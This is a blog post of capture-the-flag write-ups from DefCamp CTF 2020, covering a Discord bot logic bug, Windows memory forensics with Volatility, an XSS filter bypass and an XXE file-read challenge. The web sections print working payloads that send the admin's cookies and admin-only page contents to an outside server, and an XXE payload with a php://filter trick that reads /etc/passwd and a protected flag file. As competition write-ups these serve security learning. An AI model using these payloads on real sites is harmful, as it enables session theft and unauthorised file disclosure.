dumb-discord, spy agency, cross me, syntax check
I played the DefCamp CTF 2020 with 0x90r00t as an invited guest and we got first place. (2048€ cash prize + an additional 137€ out of pure luck thanks to a raffle they organized LOL)
I wrote these writeups for a few challenges I solved because they were required to be able to claim prizes, and I thought I might as well publish them here even though they're not very well-written and explained.
dumb-discord (misc)
In this challenge, we were given a .pyc
file of a Discord Bot, i.e. a Python script compiled into Python bytecode.
Use uncompyle to get the source code. Some strings were obfuscated with a simple XOR; here's the deofbuscated script:
from discord.ext import commands
import discord, json
from discord.utils import get
def obfuscate(byt):
mask = b'ctf{tryharderdontstring}'
lmask = len(mask)
return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s):
data = obfuscate(s.encode())
return data
intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config['token']
client = commands.Bot(command_prefix='/')
@client.event
async def on_ready():
print('Connected to bot: {}'.format(client.user.name))
print('Bot ID: {}'.format(client.user.id))
@client.command()
async def getflag(ctx):
await ctx.send('pongg')
@client.event
async def on_message(message):
await client.process_commands(message)
if '!ping' in message.content.lower():
await message.channel.send("pongg")
if "/getflag" in message.content.lower():
if message.author.id == 783473293554352141:
role = discord.utils.get((message.author.guild.roles), name=("dctf2020.cyberedu.ro"))
member = discord.utils.get((message.author.guild.members), id=(message.author.id))
if role in member.roles:
await message.channel.send(test(config['flag']))
if '/help' in message.content.lower():
await message.channel.send("Try harder!")
if '/s基ay' in message.content.lower():
await message.channel.send(message.content.replace('/s基ay', '').replace("/getflag", ''))
client.run(token)
We see that we can get the flag if the account with userid 783473293554352141 has the role dctf2020.cyberedu.ro
and has /getflag
in their message.
Let's see if we can invite this user by using a discord bot invite link :
https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot

Great, it works! Let's invite it to our own server, create a dctf2020.cyberedu.ro
role and add it to the bot. Now we need to make it send /getflag
on a public channel so that it receives its own message and prints the flag. The interesting part of the script is:
if '/s基ay' in message.content.lower():
await message.channel.send(message.content.replace('/s基ay', '').replace("/getflag", ''))
Therefore, we only have to send a command like /s基ay /get/getflagflag
:

Now we only have to deobfuscate the string (xor) and get the flag!
ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}
spy agency (forensics)
In this challenge, we were given a Windows memory dump that we could deal with using volatility.
$ volatility -f spyagency3.bin --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0xfffffa8002227060:wininit.exe 368 312 3 74 2020-12-04 23:43:12 UTC+0000
. 0xfffffa8002652b30:lsass.exe 476 368 7 543 2020-12-04 23:43:12 UTC+0000
. 0xfffffa800244c910:services.exe 464 368 10 190 2020-12-04 23:43:12 UTC+0000
.. 0xfffffa800278fb30:svchost.exe 704 464 21 526 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002494890:svchost.exe 652 464 9 257 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002679800:svchost.exe 280 464 15 357 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002cc4060:svchost.exe 772 464 13 318 2020-12-04 23:45:15 UTC+0000
.. 0xfffffa80029bc890:svchost.exe 1064 464 18 296 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa80027d1b30:svchost.exe 812 464 23 452 2020-12-04 23:43:13 UTC+0000
... 0xfffffa8002a79360:dwm.exe 1996 812 3 69 2020-12-04 23:45:14 UTC+0000
.. 0xfffffa8002a72b30:sppsvc.exe 1584 464 4 143 2020-12-04 23:43:14 UTC+0000
.. 0xfffffa800283bb30:svchost.exe 972 464 16 436 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8002bf7280:svchost.exe 1092 464 18 276 2020-12-04 23:45:14 UTC+0000
.. 0xfffffa8000e03b30:SearchIndexer. 1864 464 11 620 2020-12-04 23:45:16 UTC+0000
... 0xfffffa8000e974e0:SearchFilterHo 2064 1864 5 96 2020-12-04 23:57:11 UTC+0000
... 0xfffffa8002be5340:SearchProtocol 2072 1864 8 279 2020-12-04 23:57:11 UTC+0000
.. 0xfffffa8002c70350:wmpnetwk.exe 1088 464 13 402 2020-12-04 23:45:15 UTC+0000
.. 0xfffffa800272b810:svchost.exe 588 464 10 347 2020-12-04 23:43:12 UTC+0000
.. 0xfffffa8002808060:svchost.exe 860 464 30 926 2020-12-04 23:43:13 UTC+0000
... 0xfffffa8000dfb060:taskeng.exe 2928 860 5 81 2020-12-04 23:55:15 UTC+0000
.. 0xfffffa8002a1f8a0:taskhost.exe 1136 464 8 144 2020-12-04 23:43:13 UTC+0000
.. 0xfffffa8000ef3820:svchost.exe 2088 464 4 167 2020-12-04 23:45:52 UTC+0000
.. 0xfffffa800286eb30:spoolsv.exe 1016 464 12 274 2020-12-04 23:43:13 UTC+0000
. 0xfffffa8002663b30:lsm.exe 484 368 10 140 2020-12-04 23:43:12 UTC+0000
0xfffffa8001d34060:csrss.exe 320 312 8 375 2020-12-04 23:43:12 UTC+0000
0xfffffa8000c9d040:System 4 0 82 493 2020-12-04 23:43:09 UTC+0000
. 0xfffffa8001d61b30:smss.exe 248 4 2 29 2020-12-04 23:43:09 UTC+0000
0xfffffa8002541530:explorer.exe 648 1896 35 892 2020-12-04 23:45:14 UTC+0000
0xfffffa8002c5db30:GoogleCrashHan 1940 1900 5 90 2020-12-04 23:43:15 UTC+0000
0xfffffa8002c58b30:GoogleCrashHan 1932 1900 5 97 2020-12-04 23:43:15 UTC+0000
0xfffffa80025ae7d0:winlogon.exe 420 360 3 111 2020-12-04 23:43:12 UTC+0000
0xfffffa800238d060:csrss.exe 380 360 7 155 2020-12-04 23:43:12 UTC+0000
The challenge description says we have to look for coordinates. Let's check out the files (volatility -f spyagency3.bin --profile=Win7SP1x64 filescan
). We can see interesting occurences, like:
0x000000003fefb8c0 16 0 R--r--
\Device\HarddiskVolume2\Users\volf\Desktop\app-release.apk.zip
Let's try to extract this apk:
mkdir files
volatility -f spyagency3.bin --profile=Win7SP1x64 dumpfiles -Q 0x000000003fefb8c0 -D files/
Unzipping it reveals an interesting file: res/drawable/coordinates_can_be_found_here.jpg
.

The flag is supposed to be ctf{sha256(location of the coordinates)}
. We try a few answers as for the location, without success. Eventually, we look inside the file and discover what we were looking for:
$ strings coordinates_can_be_found_here.jpg | head -n 5
JFIF
4-coordinates=44.44672703736637, 26.098652847616506
2"3*7%"0
K-1=
UUV"
The coordinates lead to a Pizza Hut in Romania. Flag is ctf{sha256(pizzahut)} !

cross me (web)
We were given a link to a web application, where can either login or sign up.
Register an account. There's a feature on the website that allows us to post messages, with a title and a description.
Let's try a basic XSS:

Okay, so we have to satisfy a certain regexp in our payload. But as soon as we manage to pass through it, another one comes up. In total, there are four regexps that need to be bypassed:
/<[^\w<>]*[ \/]\w*/i
/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i
/["'\(\)\.:\-\+> `]/i
/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im
After some groping around and reflexion, we manage to find a payload which passes all the filters and does trigger an alert:
<svg/onload=alert(1)//
We then manage to craft a payload to retrieve the admin's cookies:
<svg/onload=document.location=`//ourserver.com/?`+document.cookie;//
We are greeted with a PHPSESSID but... no flag on the admin page. We also try to exfiltrate the local storage or check out headers, but still nothing.
This must mean the admin can see things only they can see locally. Let's try to craft a payload which allows us to exfiltrate the content of a page of the site, as seen by the admin:
<svg/onload=var x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:1234/index.php?page=admin',true);x.onload=function(){document.location='//ourserver.com/?a='+escape(x.responseText)};x.send();//
Good, we are able to retrieve the contents of the admin page, but... still no flag. It took us longer than expected, but we eventually understood we had to exfiltrate the blog post that had the id 1:
<svg/onload=var x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:1234/index.php?page=post&id=1',true);x.onload=function(){document.location='//truc.com/?a='+escape(x.responseText)};x.send();//
...which contains the flag! CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}
syntax check (web)
In this challenge, we were given a web application and we were told The flag is in /var/www/html/flag
.
The website only consists of a "Parse" button, which redirects to /parse?<foo>hi%21<%2Ffoo>=&_token=40rzOC3O8ZiBDeNKTGIcgRtxT5uBgMJb0jpBMdq8
, and which only outputs "Empty string supplied as input."
. Checking out the source of the page, we understand this is a Laravel error dump.
This is a weird way to pass XML content, though. Let's try sending it in the HTTP body rather than in the URL:

Okay, so we don't exactly know what's going on but our XML is parsed and "rendered". We immediately think of XXE injection:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<foo>&test;</foo>
This payload does leak /etc/passwd
!
But once we want to exfiltrate the file of interest:

Some kind of filter prevents us from getting its contents...
Let's try a classic PHP filter and some path obfuscation:
php://filter/read=convert.base64-encode/resource=/var/./www/../www/html/./flag
Still won't work: this time around we get an error saying something like "Are you trying to exfiltrate data using base64?".
After some trial and error, we manage to find a good filter:
php://filter/read=convert.iconv.utf-16le.utf-8/resource=/var/www/html/flag
This outputs the contents of the file but with some utf-16 conversion, which makes it look like random Chinese characters.
瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡.〳
We can now retrieve the true contents of the file by encoding what we get back into utf-16, for instance using Cyberchef:
ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}
Enjoy :)
Last updated
Was this helpful?